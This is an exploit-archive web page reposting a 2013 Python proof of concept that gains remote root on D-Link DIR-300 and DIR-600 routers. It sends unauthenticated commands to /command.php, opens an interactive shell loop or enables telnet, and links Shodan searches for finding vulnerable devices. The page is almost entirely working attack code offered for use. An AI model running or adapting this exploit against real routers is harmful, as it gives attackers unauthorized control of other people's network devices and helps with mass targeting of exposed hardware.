首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-LINK DIR-300 / DIR-600 Remote Root Exploit
来源:http://www.s3cur1ty.de/m1adv2013-003 作者:infodox 发布时间:2013-02-18  
#!/usr/bin/python
# D-LINK TOTAL FAIL
# http://www.s3cur1ty.de/m1adv2013-003
# Another Shit PoC by infodox
# SHODANS BELOW
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-300
# http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-600
# Who knew a shell could be so easy?
import sys
import requests
import os

if len(sys.argv) != 3:
    print "Usage: ./dlinkroot.py <target> <mode>"
    print "Modes: shell or telnetenable"
    print "I was lazy so I assume you have a telnet client"
    sys.exit(0)

target = sys.argv[1]
mode = sys.argv[2]

def shell(target):
    print "[+] Connecting and spawning a shell..."
    while True:
        try:
            bobcat = raw_input("%s:~# " %(target))
            lulz = "cmd=%s;" %(bobcat)
            url = "http://" + target + "/command.php"
            hax = requests.post(url, lulz)
            print hax.text
        except KeyboardInterrupt:
            print "\n[-] Quitting"
            sys.exit(1)

def telnetenable(target):
    lulz = "cmd=telnetd;"
    url = "http://" + target + "/command.php"
    print "[+] Trying to enable telnet"
    try:
        hax = requests.post(url, lulz)
        print hax.text
    except Exception:
        print "[-] IT FAILED IT!"
        sys.exit(0)
    print "[+] Doing a telnet"
    try:
        os.system('telnet %s') %(target)
    except Exception:
        print "[-] IT FAILED IT!"
        sys.exit(1)

if mode == "shell":
    shell(target)
elif mode == "telnetenable":
    telnetenable(target)
else:
    print "[:(] WHAT THE FUCK YOU'RE DOING IT WRONG!"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VLC Player 2.0.4 <= Arbitrary
·MS12-037 Internet Explorer 8 S
·MS13-005 Proof Of Concept
·Windows Media Player 9.0.0 Loc
·cURL Buffer Overflow Vulnerabi
·RealPlayer 16.0.0.282 (.html)
·ActFax 5.01 RAW Server Buffer
·Schneider Electric Accutech Ma
·VMWare OVF Tools Format String
·Windows Media Player 9.0.0 .wa
·Linux Kernel /dev/ptmx Key Str
·FreeFloat FTP 1.0 Raw Commands
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved